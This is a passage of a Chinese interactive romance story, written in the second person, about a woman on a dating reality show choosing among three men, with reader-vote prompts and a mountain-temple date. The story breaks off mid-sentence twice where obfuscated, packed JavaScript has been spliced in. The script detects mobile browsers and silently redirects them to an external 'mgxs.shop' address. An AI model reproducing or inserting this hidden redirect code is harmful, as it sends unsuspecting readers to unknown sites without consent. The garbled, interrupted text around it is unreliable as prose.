这时,节目组通知你们去客厅汇合,今晚要揭晓大家的年龄和工作。
还有最后两只碗没洗,周越挽起袖子,说让你先过去,剩下的活他来收尾。
你来到客厅,发现沙发上只有两个人,一坐一站,僵持着。
潭西洲手里拿着一盒药,正准备递给何君子。
看见你来了,他似乎有些慌乱,伸出去的手不知要不要收回。
然而何君子没给他这个机会,她接过药,顺势撩了撩蓬松的短发,说:“没关系,昨天的伤已经好得差不多,你不用太内疚了。”
说完,可能担心这话太过严肃,何君子笑着添了句:“咱俩再这样下去,自责的人就该轮到我了。”
周越收拾完餐桌,关掉厨房的灯,回到客厅,沙发上还留有不少余地,他坐在了你的身侧。
楼梯间传来声音,你闻声看去。
刚才还闷闷不乐的唐甜,已经换上一副开心的样子,一蹦一蹦地从台阶跳下来。
后面跟着霍远,眼皮微敛,低头看着唐甜。
人已到齐,入住小屋的第二天,要揭晓嘉宾们的年龄和职业等相关信息。
为了增加趣味性,节目组临时给了你们一枚骰子,六个人轮流投掷,先猜点数最大的,随后再由此人指定下一位,以此类推。
一轮过后,何君子的点数最大,猜职业的时候,她给了关键词——“铅笔”。
有人问:“画家?”
“不是。”
想到早上,她是最晚出门的,潭西洲猜她的工作时间比较自由,问道:“作家?”
何君子继续摇摇头。
你想到另一种可能,脱口而出:“建筑师?”
何君子立马给你比赞。
何君子,27岁,建筑师。
何君子言简意赅,介绍完自己,毫不犹豫地指了下一位——潭西洲。
你记得早上在车里,调侃潭西洲是不是厨师,他还卖了个关子。
因此现在你也有些好奇他的职业到底是什么。
仿佛看出你在想什么,潭西洲分过来一个眼神:“首先解释一下,我真不是厨师。”
“也没人说你是厨师啊。”何君子歪了歪脑袋,有些不解。
听出他的言外之意,你掩饰性地瞟向别处。
却意外地和周越的目光在空中交汇,你愣了一下,不自然地移开双眼。
“到底是什么啊?”你忍不住向潭西洲催促道。
潭西洲收起笑脸,正色道:“节目播出,如果有人造谣,你们可以来找我。”
听完,何君子忍不住笑出声。
潭西洲,26岁,律师。
轮到潭西洲指下一位嘉宾,他说:“既然我的名字和知意出自同首诗,那就猜她吧。”
所有人的目光投向你,你说了关键词,尽管有些隐晦,但还是被大家猜了出来。
还剩三人。
即便只相处了两天,可大家都觉得周越最有距离感,也最神秘,他的话最少,观察却最细致。
于是,你来回看了一遍,最终指向他,问道:“周越,你呢?”
周越双腿交叠靠在沙发上,抿了一口水后,开口道:“我的工作,和小朋友有关。”
潭西洲玩笑道:“幼儿园老师?”
众人给他翻白眼:“你觉得他像?”
潭西洲继续猜:“那是小学老师?”
周越也不恼:“为什么觉得我是老师?”
他气质内敛,完全不像整天和小朋友混在一起,或者管教学生的人。
“那……是医生吗?”你想起昨天何君子受伤,他对包扎伤口的提醒很专业,如果是和小朋友有关的话,那就是……
“儿科医生?”你试探地问道。
周越的黑瞳里闪过一丝意外,很快恢复平静。
周越,27岁,儿科医生。
余下霍远和唐甜,都不难猜。
霍远天天上班西装革履,全身上下的佩戴和着装都价格不菲,讲话一针见血,明眼人都瞧得出来。
霍远,29岁,上市企业CEO。
唐甜就更好猜了,平易近人,说话轻声细语,又耐心。
面对你们的刨根问底,她直接举手投降道:“好了好了,我才是那个小学老师。”
唐甜,25岁,小学老师。
【职业揭晓后,你的心意更偏向谁】
A周越
B潭西洲
C霍远
【今天,你将把心动短信发给哪位男嘉宾?】
A周越
B潭西洲
C霍远
「PD提示:可以在短评区进行选择与留言哦,这将决定后续的故事走向。」
回到卧室,你躺在懒人沙发上,静静地等待短信。
想到昨天自己没有收到短信,莫名有种很复杂的情绪。
今天的等待时间格外短暂。
很快,你的手心传来连续的两声振动,震得指尖发麻,一种说不上来的忐忑和惊喜缠在心头。
你打开手机,第一条是。
【您好,您的御用厨师已就位。】
【你觉得这条短信来自哪位男嘉宾?】
A周越
B潭西洲
C霍远
另外一条是。
【合作愉快[握手]。】
【你觉得这条短信来自哪位男嘉宾?】
A周越
B潭西洲
C霍远
[PD提示:即将开启第一次约会哦]
3. 第三章
今天你工作很忙,晚上加班到八点才回到小屋。
不确定小屋有没有留饭,你事先点了外卖。
回到小屋的时候,大家已经吃过晚饭,正聚在客厅玩游戏。
你准备去厨房吃点东西,刚打开外卖,面前有道人影一闪而过。
你抬头,是潭西洲。
他撑着桌沿,侧身坐在了你对面,望着你的外卖盒,他微微皱了一下眉。
见你投来疑惑的眼神,潭西洲托着下巴问:“还没吃饭?”
你边拆保温锡纸,边嗯了声。
有一两秒,潭西洲没接话,空气中只有锡纸被剥开的窸窸窣窣的声音。
你有些奇怪,见他依旧盯着外卖目不转睛,不禁揶揄道:“没吃饱?要不……你也来点?”
说着,你将碗朝他的方向推了推。
潭西洲摆摆手,关心道:“吃这些够吗?冰箱里有给你留的晚饭,还有我做的冰镇绿豆汤。”
想到就算下班这么晚,小屋里还有人为你留着热乎的饭,你内心一暖,同他玩笑道:“西洲,再这么下去,我真得给你发工资了。”
潭西洲刚要开口,听到有人哼着歌朝这边走来,你不禁望向餐厅门外。
何君子迈进厨房,看到只有你和潭西洲在,愣了一下,歌声戛然而止。
视线短促相交,她热情地向你们说声嗨,随后目不斜视地往里走。
然而在开冰箱的一瞬间,你注意到她的神情变得有些落寞。
欢洽的空间闯入第三个人,不知道该说什么,你噤了声,低头继续拆外卖。
何君子随手从冰箱上层拿了一瓶苹果汁。
临走前,想起什么似的,她突然转过身,说:“诶,潭西洲,你能帮我个忙吗?”
潭西洲问什么忙。
何君子一脸坦然:“最近事务所接了一家公司的设计单子,涉及到法务方面,想咨询你一些问题,不知道你方不方便?”
潭西洲食指一下一下地敲桌面,有意无意地看向你。
你躲开他的目光,低下头,夹了一筷子菜慢慢咀嚼着。
何君子就站在原地,没有催促,也没有要走的架势,她看着潭西洲,固执地等他的答案。
“我们律所处理的案件大部分关于版权纠纷,要不你先拿给我看看资料?”潭西洲嘴上这么说着,但身子一动没动,似乎想在这里聊。
何君子却指了指天花板:“资料在我电脑里,电脑在楼上充电。”
继续陷入僵局,潭西洲略一斟酌,对你道:“你先吃,我先去看看。”
何君子的目光投向你。
毕竟是工作的事,你不便插手,只能点头称好。
刚走几步,潭西洲折返回来,叮嘱道:“记得喝绿豆汤。”
“好。”
他们并行的背影渐渐走远,客厅里传来唐甜和霍远聊天低低的声音。
餐厅里只剩下你一个人,头顶的暖灯照着你的影子摇摇晃晃,心里有些说不上来的孤独。
“叮咚——”
胡思乱想的心绪被惊醒,餐厅离大门最近,你放下筷子去开门。
“咔哒”一声。
黑蓝色的夜幕从眼前无限延伸,门开了,面前的人挡住了一切光线,一时看不清他的脸。
等适应了屋外的黑暗,你发现门外的人是周越,他今天也回来得这么晚?
大概被你盯得有些久,周越抬手在你眼前晃了晃:“打算让我一整晚站外面?”
模糊的视线被拉回,你不好意思地挠挠头,侧身让他进屋。
周越从你面前走过,带着夜晚的凉意。
他换好拖鞋,径直走进厨房,把手中一直提着的食物放在桌上。
这时你才注意到,它的包装袋居然和你的外卖一模一样。
显然周越也注意到了,他指着桌上另外一份:“你的?”
周越的脸上第一次浮现出错愕的表情。
这家外卖全城只此一家,没有分店。
同一天加班,并且买到同一家外卖,这种巧合并不稀奇,但在小屋里,能很快拉进你们的距离。
“没想到,我们上班的地方这么近。”你扒拉着碗里的饭,有种三次元在二次元见面的感觉。
刚才周越说他加班的时候常点这家的外卖,虽然份量不多,但胜在味道好,也干净,是医院附近做得最好的一家。
而这家店刚好就在你公司的楼下。
也就是说,周越上班的医院和你的工作地点仅仅隔着几条街。
“原来你在那家公司上班,以前我路过几次,大楼设计得很漂亮。”
周越不紧不慢地拆开一次性筷子,接着他拿出纸巾,将外卖盒擦了一遍,才开始动筷。
你托着脑袋,想到什么,眼睛忽地一亮:“说不定,我们以前见过……只是互不认识?”
或许曾经在街头擦肩而过,去过同一家店,走过同一条路,但当时的你们还是陌生人。
大概是生活习惯,周越吃饭细嚼慢咽,吃完才附和道:“也不是没有这个可能。”
除了相同的外卖袋,你还注意到他还带回来一个甜品袋。
看清上面的标识后,你又惊又喜:“我也常去这家买甜品,最喜欢他们家的双皮奶。”
周越握筷子的手一顿,将甜品盒推到你面前,他抬了抬下巴,示意你打开。
在他的注视下,你顺着裁剪线撕开纸袋。
缝隙越来越大,拆盒子的速度逐渐慢下来,你抬头看了眼周越,狐疑道:“……不会这么巧的事吧?”
周越身子后倾,闲散地靠着椅背:“打开看看不就知道了?”
透过缝隙,你摸到了熟悉的包装盒,真的是你平时喜欢吃的双皮奶。
这不是巧合,这说明你们的饮食习惯几乎一模一样。
餐厅的灯光比刚才更亮了些,照得人脑袋晕乎乎的,看着面前的男人,你突然有种不切实际的熟悉感。
周越问你要不要尝尝看,但你今晚摄入的食物太多,实在吃不下。
他起身把双皮奶塞进冰箱,意外发现了放在顶层的绿豆汤,问道:“谁做的绿豆汤?”
你吃饭的速度慢了下来,埋头回答:“潭西洲。”
“怎么没见他?”
“他在楼上,”你的声音顿了顿,“君子的工作上遇到了点麻烦,他去帮忙看看……”
说到最后,你的音量越来越低。
周越稍微动动脑子就知道发生了什么,可他偏偏扶着冰箱门,头一歪:“你要喝吗?”
晚饭已经吃饱了,你摇摇脑袋,说不喝了。
周越瞟了眼你的神情,淡淡地笑笑没说话。
……
晚上十点,节目组发来信息。
“叮咚~本周将迎来男女嘉宾的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372345|199977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
第一次约会,请女生现在返回房间,抽取属于你们的秘密礼物吧!”
二楼化妆间的茶几上,摆了三盒包装精美的礼物。
你和其它女嘉宾各占一个懒人沙发,围在桌边,将礼物盒一一拆开。
礼物是掌心大小的香薰蜡烛,每只味道都不同,外面贴着标签,是香薰的名字。
唐甜拿起其中一个,凑近鼻子闻了闻,猜测道:“这些男生做的?我们挑到谁的,就和谁约会,是这个意思吗?”
绿色蜡烛是淡淡的木质香,名为“山涧煮雪”,很熟悉的味道,可是想不起来在哪里闻过。
白色蜡烛里的是花香,连包装盒都沾了浓郁的玫瑰香,名字叫“迷人的你”。
粉色包装盒,一开盖是沁人心脾的桃子味,味道十分逼真,仿佛装了一颗水果桃子,标签上写着“早安午安晚安”。
何君子一一闻过,最终她拿起水蜜桃味的蜡烛,问道:“你们觉得这个是谁做的?或者说,是想给谁的?”
空气有片刻的寂静,每种气味可能都有所暗示。
你开始回想这几天的相处过程,这些味道,或许和每个人的性格有关,也或许隐喻一段故事。
你猜测道:“桃子这个……像送给唐甜的,和人一样甜美。”
唐甜拿过去仔细闻了闻,然后露出自己细腕上的手链,中央镶嵌了一颗桃子水晶。
见状,何君子凑近桃子味的香薰,吸了吸鼻子,抬头想想,突然没头没尾道:“冰箱里有水蜜桃,好像是潭西洲买的。”
你眼神一亮,猛地看向何君子。
而她托着香薰在观察,并未注意到你的神色。
何君子的话不无道理,但没法表明这香薰一定是潭西洲做的。
因为当天周越也在场,他甚至拿这话揶揄过你。
而且,也有可能是霍远,毕竟唐甜手腕上有一条桃子水晶链。
好像说什么都可以圆回去,但很难笃定其中一个。
这时候,何君子猝不及防地问你:“知意,你觉得桃子这个是谁做的?”
【你偏向于】
A周越
B潭西洲
C霍远
意见不一,为了公平起见,你们决定采用老办法,石头剪刀布。
何君子赢了第一局,她坚定自己的认知,选走了桃子味的。
第二轮,两次平局后,唐甜以微弱的优势拿下,她更喜欢玫瑰味的香薰。
于是,最后留下“山涧煮雪”。
你将香薰收回礼盒,抱着它回卧室的路上,鼻尖萦绕着若有若无的香气。
你绞尽脑汁,还是想不到这熟悉的味道在哪里闻过。
到了发送短信的时候,今天,你打算将心动短信发给谁?
A周越
B潭西洲
C霍远
片刻等待,你收到两条短信。
一条是:【有我在,你可以不需要外卖】
【你觉得这条短信来自哪位男嘉宾?】
A周越
B潭西洲
C霍远
另外一条是:【不想喝绿豆汤,可以试试红豆汤吗?】
【你觉得这条短信来自哪位男嘉宾?】
A周越
B潭西洲
C霍远
—
PD:约会人选将在明天公布,敬请期待~
4. 第四章
约会当日。
今天你穿了件紫色针织衫,搭高腰牛仔裤,不确定会不会有户外活动,所以你选了双运动鞋,便出发了。
约会的见面地点离小屋不远,步行过去即可。
你随着指示牌,上了台阶。
隔着树影,熟悉的身影撑着露台的栏杆,风摇晃着翠绿的枝桠,树叶遮挡住他的背影。
你放轻脚步,打算绕道过去一探究竟。
这时,他换了个姿势,转过身,刚好和你打了个照面。
是周越。
今天他有些不一样,淡蓝色长袖衬衫,叠穿白色T恤,纯色直筒牛仔裤,卷起的裤脚落在鞋上,支着长腿倚在栏杆前。
看见你,他顿住脚步,眼角的笑意一闪而过。
初夏的风吹起他的衬衫下摆,透出一种少见的暖意。
“Hi。”周越朝前走来,递给你一柄绿色风扇。
你道谢接过。
车在不远处的停车场,你们依旧步行过去。
阳光虽然不强烈,可走过来的这一会儿,额头也出了一层薄汗,手里的这把风扇起了不小的作用。
上车后,周越打开空调,气温缓缓降下来,车内也静下来,突然不知道说什么。
周越打开车内的电台广播,柔和的女声传出。
他问道:“出来的状态是不是跟小屋里完全不一样?”
你嗯了一声:“小屋里比较放松,都是大家一起行动,两个人见面,确实不一样。”
车往市区的方向驶去,柏油马路两侧的绿树迅速往后倒退。
你还不知道此行的目的地,问道:“我们去哪儿?”
说着,你从包里拿出摸出那枚香薰蜡烛:“先让我猜猜,是不是香薰有暗示?”
周越发出轻轻的一声鼻音,示意你继续说。
你将香薰握在手里,来回把玩观察,问道:“这个是你们自己做的吗?”
“是。”周越言简意赅。
蜡壁上贴着的标签还没有撕掉,“山涧煮雪”这四个字你一直没有弄懂他的意思。
你低声念了一遍,侧头问:“为什么叫这个名字?”
似乎预料到你会这么问,周越长臂一伸,打转拐了个弯,说:“因为听说过一个关于煮雪的传说,觉得很有意思。”
你坦诚地说自己没听过,但是很好奇,问他可以讲讲吗。
车驶上一座公路桥。
周越关掉车内的广播,空气骤然安静。
“传说在北极的人,因为天寒地冻,一开口说话就结成冰雪,对方听不见,只好回家慢慢地烤来听……”周越娓娓道来。
刚听了个开头,你就被深深吸引,这完全是你喜欢的那种,奇怪又浪漫的传说。
你眨眨眼,有些不解:“所以……我们今天是去煮雪?”
周越眸光微闪:“那我们得先去北极。”
……也是。
接着他话音一转:“也不是不行。”
你下意识地啊了一声,更疑惑了。
周越道:“小屋就像北极,一开口说话就会有无数种解读,所以约会可能也算一种煮雪?”
从他的话中,你慢慢意会过来。
车开出市区,往城西开,是郊区的方向,聊了这么久,你依旧不知道目的地在哪。
拇指摩挲着蜡烛光滑的表面。
山涧煮雪,它的名字再一次闪进你的双眼。
你几乎是脱口而出:“爬山?我们的约会?”
周越眼底带着不置可否的意味。
看来是猜对了。
话音刚落,周越脚踩油门,车冲上一座斜坡。
山坡很平滑,也很笔直。道路两旁是青翠茂密的树林,将太阳遮蔽得严严实实。
斜坡越开越陡,你握紧安全带,后背紧紧靠着座椅:“爬山挺好的,很久没爬山了,山上风景应该很好。”
听着你紧张的碎碎念,周越将车速放慢。
最后车停在半山腰的一座寺庙前,黑瓦飞檐,亮黄色外墙,墙中央是月亮门。
“寺庙?”你闻到香灰的味道。
“嗯,”周越慢条斯理地解安全带,说,“前几天你不是说水逆,想来寺庙转转运。”
经他提醒,你突然想起前段时间工作不太顺利,回小屋的时间比较晚,所以前两天吃饭的时候,随口吐槽了两句。
当时你说要抽个时间,去寺庙拜一下,但最近工作恢复正常后,又没了那份冲动。
庙门口的售票厅没人排队,你们从前厅买了门票。
你注意到周越没有像其他人一样,将门票扔进垃圾桶,而是揣进兜里。
你不由得问道:“你有收藏门票的爱好?”
周越:“偶尔,只是今天比较特殊。”
寺内来客不多,香火却不断。
周越熟门熟路,从侧门进入后院。
院内种有不少菜地和小花园。寺在园中,园即寺景。
“你平时喜欢干些什么?”你很好奇,周越居然会带你来这么冷门的地方约会。
“喜欢一个人出门四处走走。”周越说,他喜欢去一个地方很多次,四季景色各有不同。
他穿过月亮门,提醒你看台阶:“如果是在家的话,想动脑就看看专业书,不想动脑子就找部电影。”
“看什么电影?”
“科幻居多。”
……那不还是动脑吗!
台阶下有一只黄色斑点的小花猫,卧在小路中央,晒着太阳昏昏欲睡。
偶尔有游客路过,见人拍照,它就摆好姿势一动不动。
你不禁拿出手机,弯腰想给它拍张照片留念。
小花猫半睁开眼睛,看到一道影子,没在意,又懒洋洋地闭上眼。
拍完,你直起身子,边往回走,边低头查看照片。
看你走过来,同样在拍照的周越不经意地收回手机,双手插兜。
你们继续向前走。
寺院正殿,僧人们在诵经,声音平缓却掷地有声。
此时寺内游客寥寥,殿前空旷,于是这诵经声更加辽阔和寂寥。
深沉幽远的钟声一响,你望着殿内虔诚的面孔,耳畔的诵经声像涓涓细流,令人心静如水。
诵经尾声,住持遥遥地冲你们合掌拜礼,周越也微微点头。
二人看起来似乎是旧识。
你疑惑道:“你以前来过这里?”
“去年来过一次,春节陪家人来上香。”周越回答。
话音刚落,旁边跑来一个五六岁左右的小孩,小男孩急着上台阶,没注意脚下,不留神摔倒在地。
周越弯腰去扶,看到小孩正脸,他明显一愣:“小南?你怎么在这,一个人吗?”
小男孩指着远处一个烧香拜佛的中年女人说:“妈妈在那里!”
此时,男孩的妈妈已经转过身,焦急地在人群中找他。
小男孩立马跑过去拉住女人的衣角。
女人牵着小男孩的手,上下打量了一番,松了口气,低声嘱咐他以后不可以乱跑。
小男孩胡乱点点头,使劲拉着她往你们的方向来。
看到你们,中年女人显然也很意外:“周医生?”
“嗯,手术完小南恢复得怎么样?”
闻言,男孩妈妈拉着小男孩往前送:“快过来,给周医生看看伤口。”
小男孩给周越做了个调皮的鬼脸,捂着胳膊躲在妈妈身后。
周越蹲下身,摸了摸他的脑袋,语气变得特别轻:“还记得我吗?上次我们变了个魔术,把伤口变消失了,对不对。”
小男孩垂着脑袋点点头。
“你比我小时候勇敢多了,”周越伸出的指尖悬在空中,“我想看看魔术还在不在,就轻轻看一眼,好不好?”
只见小男孩抬起眼睛,悄悄瞄了你一眼,又飞快地缩回去,往后耸着肩躲了躲,然后慢慢凑近周越,乖乖地拉起衣袖。
而这时,小男孩妈妈的眼睛也在你和周越之间来回逡巡。
在她的频频打量中,你仿佛嗅到了一股八卦的味道……
周越拉下小男孩的衣袖,起身摸着小孩的脑袋,说:“伤口恢复得不错,之后注意按时涂药。”
“好,麻烦周医生,”说着,小男孩妈妈的眼神又移到了你身上,“周医生,你今天陪女朋友来寺庙祈福啊?”
周越愣住,看了你一眼,说道:“还不是女朋友。”
……
你的脸突然红了,舔了舔干燥的唇,不经意间对上周越的目光,坦坦荡荡。
你扭过脸,望向远处的青翠的槐树。
小男孩的妈妈长长地哦了一声,抑扬顿挫的。
临别前,周越耐心嘱咐小男孩好好养伤,不要做剧烈运动。
周越是医生,小屋里的人都知道,可他这个人,浑身散发着生人勿近的距离感。
你有时候怀疑,到底有没有小朋友去找他看病,毕竟周越严肃起来,感觉小孩会被吓哭。
今天这个小插曲,反而打消了你的疑虑,周越是位很好的医生。
离开寺院后,周越并没有急着走,而是继续往山上开车。
“等会儿还有一场烟花会。”周越解释道。
夕阳隐没在山的另一边,天色逐渐暗下去,晚风钻进车窗,拂起发丝,挠得人痒痒的。
等到繁星满天,车停在一棵树下,附近已经停满了一排车。
你们走到山顶,岩石外加一层栏杆,人头攒动,很是热闹。
烟花而已,至于这么多人吗。你有些兴致寥寥。
旁边站了一对中年夫妻,低声讨论的声音传到你耳边。
“这里的烟花会好久没举办了,听说这次是私人安排的,咱们今天运气好,没白来。”
你在旁听着,心中一动。
火焰就是在这个时候窜上夜空的。
它并非在头顶炸开,而是砸向眼前,近到几乎将人淹没在耀眼的辉煌中。
这不是烟花,是铁花。
无边黑暗中,璀璨的星点于空中楼阁迅速迸发,而后挥向夜空,拖着焰火的尾巴,仿佛一张密不透风的金丝网,铺天盖地朝你们的方向坠落,溅起黄灿灿的火花,洒了一地的碎金。
你久久没有说话,静静地仰头看着盛大而漂亮的焰火,震撼到失去语言。
原来这就是铁树银花,以前你在网络上隔着屏幕见过,却从来没看过现场。这是连相机都无法拍出的美。
你望向身边的人,暖黄色的火光掠过周越白净的脸庞,映衬着他的侧脸忽明忽暗。
平日里冷清的脸,此刻夜风温柔,竟也带上几分暖意。
那缕熟悉的味道在此时浮上来,若有若无,是“山涧煮雪”的味道。
……
表演结束,周越开车下山,带你去一家私房菜吃晚饭。
“谢谢你准备的烟花。”你仍意犹未尽。
周越颔首答道:“喜欢就好。”
入座后,你接过服务员递来的菜单,想起什么:“我们刚从寺庙出来就开荤,是不是不太好?”
周越将手表的腕带拆下,整理好放在桌面上,慢慢道:“辛苦了一天,佛祖给你的任务就是好好吃饭。”
莫名戳中笑点,你:“好的,谢谢佛祖。”
这家餐厅的招牌菜是海鲜,你心里一动,指着一道清蒸鳕鱼说:“你喜欢海鲜,对吧?”
说完,你抬起头,略带炫耀地看着对面的人。
周越疑惑道:“我海鲜过敏。”
你皱着鼻头,边回忆边说:“小屋的第一顿晚饭,你明明说想吃鱼羹。”
那天周越换走了你不想吃的鱼羹,然后又以不吃海鲜的由头,推给了潭西洲。
周越也想起来了:“哦,那天忘记自己不能吃海鲜。”
你贴心地长哦了声,将菜单还给服务员,说再加一份甜品。
你的余光明显看到周越的脑袋不易察觉地点了点。
虽然才近距离地相处没几天,但你有察觉到他的一点喜好。
比如缓解不太好的情绪时,他喜欢吃甜点。
比如他很聪明,虽然话不多,但是会记下别人的喜好。
见你没说话,周越环顾一圈后,说道:“以前这里要排队,现在人好像没那么多了。”
你埋头戳着自己碗里的饭,附和地嗯了一声,仔细回味了这句话之后,才反应过来:“难道不应该是以前人少,现在人变多吗?怎么会越做越惨淡,而且……”
说着,你扫视一圈,屋内座无虚席。
你小声问道:“而且这里……也不像是那种黑店吧?”
周越略一思忖:“我在网上看到他们实行了预约制,只要约满就会在门口挂起牌子,大家看到,就不会再来排队。”
你疑惑道:“那为什么不抓住商机,让更多的人知道这里,这样赚的钱不是更多吗,排队也是一种正向反馈。”
周越没解释什么,反而盯着你,良久后,终于问道:“所以,你觉得抓住机会比保持秩序更重要?”
“对,我觉得机会很难得。”你根据自己的认知答道。
“那你呢?你是个喜欢秩序的人吗?”你舀了碗汤,递到唇边的前一秒,突然想到这个问题。
周越单手撑着头:“实话吗?”
你点头。
“没来小屋之前,秩序在我看来是很重要的东西,从小到大,按部就班的上学、毕业、工作,”周越的嗓音沉沉的,像一壶酒般让人沉醉,不知不觉就跟着他的话起起伏伏,“来小屋是我做过的最出格的一件事,身边人不相信我会来,其实连我自己,一开始都是拒绝的。”
周越很坦诚,夜晚卸下了他的防备,像一颗洋葱慢慢剥开外皮。
“进入小屋前,每到一个陌生的地方,我都会先寻找一种秩序,建立我的舒适区,这让我很安心。可慢慢地,我发现,小屋不一样,在小屋里,机会像昼伏夜出的野兽,如果不抓住就会错过。”
听到这里,你停下手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372346|199977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中的动作。
周越的沉静和坦然自若被取代,你不确定到底是哪件事让他有这样的转变。
你问道:“你喜欢秩序感,那你想过吗,如果今天不是我来呢?”
周越狭窄的双眼皮微微下垂,手中的汤匙在碗里搅了一圈又一圈。
周越看起来很体面,初见时,他对谁都一样,说的话做的事完美到让人挑不出错,偶尔会对你表现出关怀,这种关怀让你一度出现幻觉,以为和他的距离变近了一点,但很快,他会恢复成冷淡而客气的样子。
你没有出口解围,只是坐着,看着他,莫名有一种恶作剧的快感,甚至想为难他,想看他出糗,想看他在不可控的地步下会做出什么反应。
“想过,但我希望是你。”
汤匙在壁上轻轻一靠,发出清脆一声,周越的回答很笃定。
听到这句话,你并没有想象中的愉悦,心里闪过一丝疑虑。
“可是我并没有给你留下很深刻的初印象。”
或者说直白一点,为什么第一天没有给你发短信。
不过这次,你选择了更委婉的方式向他提问,没有让他难堪,但你知道他能听懂。
似乎料到你会有这样的问题,周越抬起头,在你的注视下,坦言道:“小屋是一个能无限放大感受的地方,能加快心动发生的速度,所以当这种感觉来临的时候,我会觉得很陌生,会觉得自己难以把控,所以我想把速度降下来。”
“可心动就是一瞬间的事,任凭这一瞬间过去了,不觉得可惜吗。”
你有些不认同,尽管和他一样,自己也是个慢热又克制的人。
周越抬眸看着你,认真道:“因为我一旦确定,就不会轻易放手,所以我需要确认这份心动是由内而发,还是氛围使然。”
周越整个人放松下来,他靠在椅背上,衬衫领口微微松开,露出脖颈下一寸的肌肤,很薄很白,有种禁欲感。
随后他话锋一转:“那你在小屋里,有心动的瞬间吗?”
你的手停在半空中,这下轮到你不说话了。
周越似笑非笑地看着你,就像你刚才为难他一样,他也丝毫不想放过你。
你努力回想上一个心动时刻,虽然说不清是因为某个人还是因为当时的氛围,但你仍诚实地点点头。
周越极轻地嗯了一声,却没有追问。
……
结束晚餐的时候,夜晚的灯光已经点亮了整座城。
返程途中,你坐在副驾驶,手中摩挲着那枚香薰,心中一动,突然说道:“你知道吗,选礼物的时候,我是最后选的。我一直觉得,每次遇到选择,运气和天意很重要。”
周越侧过头,身后红红绿绿的霓虹,在车灯的照耀下遮住了他的眉眼。
默了一两秒,周越才缓缓接道:“当时节目组让我们制作香薰做约会礼物,当时我脑海里浮现的第一个想法是,你最近加班,需要一种能够助眠的味道。虽然不知道是谁来,但我真的希望是你。”
你低头凑近闻了闻,这缕清香好像比昨天更好闻了,你不禁多吸了吸鼻子。
余光瞟到你的小动作,周越问道:“怎么了?”
“真的可以助眠吗?”
“那你今晚试试。”
你握紧了掌心里的蜡烛,好像那股说不清道不明的味道,在此刻突然清晰起来,整颗心也变得安定。
……
你和周越是最后回到小屋的,进门的时候,所有目光同时投向你和周越,紧接着是各种起哄声。
其实只有唐甜和霍远的声音,潭西洲靠在沙发上,目光在你身上落了一秒,又很快移开。
等安静下来,潭西洲揉了揉太阳穴,问大家去了哪里。
霍远和唐甜去了海上游艇。
你说你们去爬山,还看了烟花。
“玩得开心吗?”潭西洲又问。
所有人看向你,他们的目光中带着探究、打趣。
脑海中闪过无数个画面,有道声音突然打断了你的思绪:“感觉这话也应该问西洲和君子?”
是周越,自从进屋,这是他说的第一句话,却像一株火苗,迅速让整个房间热了起来。
自从你回来,何君子一直注视着你们,在潭西洲对你的行程充满好奇的时候,她的情绪又会低落下去。
此时话题中心骤转,何君子有意无意地看了你一眼:“我们去了动物园,西洲带的便当很好吃。”
茶几上是他们带回来的两份空便当盒,一上一下,整整齐齐地摞在右上角,如果不是她提起,你可能并不会注意到。
潭西洲终于将目光看回何君子,只是他的笑容,从你的角度看过去,似乎有些意兴阑珊。
你不知道他们今天发生了什么,只是觉得气氛似乎有些古怪。
“所以,潭西洲的香氛为什么是桃子味?”唐甜好奇道。
那份炙手可热的礼物,几乎和所有人都有些联系。
何君子:“我也问了他这个问题,你知道他怎么回答的?”
你忍不住竖起了耳朵。
“很简单——”何君子拉长了尾音,“他说桃子的味道很好闻。”
“对了,我今天发现潭西洲的耳朵上有一个耳洞。”何君子继续分享约会的事,“没想到他居然有段非主流的过去。”
你的笑意缓了缓,原来自己并不是那个独一无二的发现者。
你突然意识到,在这个小屋里,感情的变化,实在是一件极其普通的事情。
不仅是潭西洲,今天周越和你约会,未来某一日,他也能和别人约会。在小屋,什么都是未知和多变的。
说起今天的约会。何君子滔滔不绝,从她的字里行间,你能感受到他们玩得很开心,她口中的潭西洲,是另外一面你未曾见过的潭西洲。
你的心脏有些不易察觉的低沉,同时却也轻轻松了口气。
回小屋之前,你的确有心理负担,约会像一场误入的桃花源,就算走出去,但现实中的小屋不会消失,占有欲不会消失,迷惑也不会消失。
明明应该是快乐的一天,却感觉大家各怀心事。
回了女生宿舍,你把今天给大家求的平安符分给何君子和唐甜。
唐甜很惊讶:“天呐,你们居然真去了寺庙?哪有人约会去寺庙的。”
你笑了笑,说确实没想到,但是感觉还不错。
唐甜想了想,接着也笑道:“不过周越这人清心寡欲的,倒也合适。”
又到了发送短信的时候,今天,你打算将心动短信发给谁?
A周越
B潭西洲
C霍远
片刻等待,你收到一条短信。
【今晚好梦。】
【你觉得这条短信来自哪位男嘉宾?】
A周越
B潭西洲
C霍远
临睡前,你收到一条来自节目组的短信:
【请于明晚19:00到花园街64号餐厅,惊喜等待大家。】
5. 第五章
周一例会,你起得很早,以为自己是最早的一个,结果下楼的时候,迎面遇到了何君子。
她举着锅铲,兴冲冲地朝楼梯间跑过来,看到是你,她明显愣了一下。
你微微一笑,问她怎么起这么早。
何君子说她今天调休,想早起做早餐,前几天一直是你们做,她也想让大家尝尝她做的早餐。
说完,她微微侧身,让你走了过去。
但你赶时间,恐怕来不及等何君子做好,于是从冰箱里拿出面包片,又泡了杯牛奶。
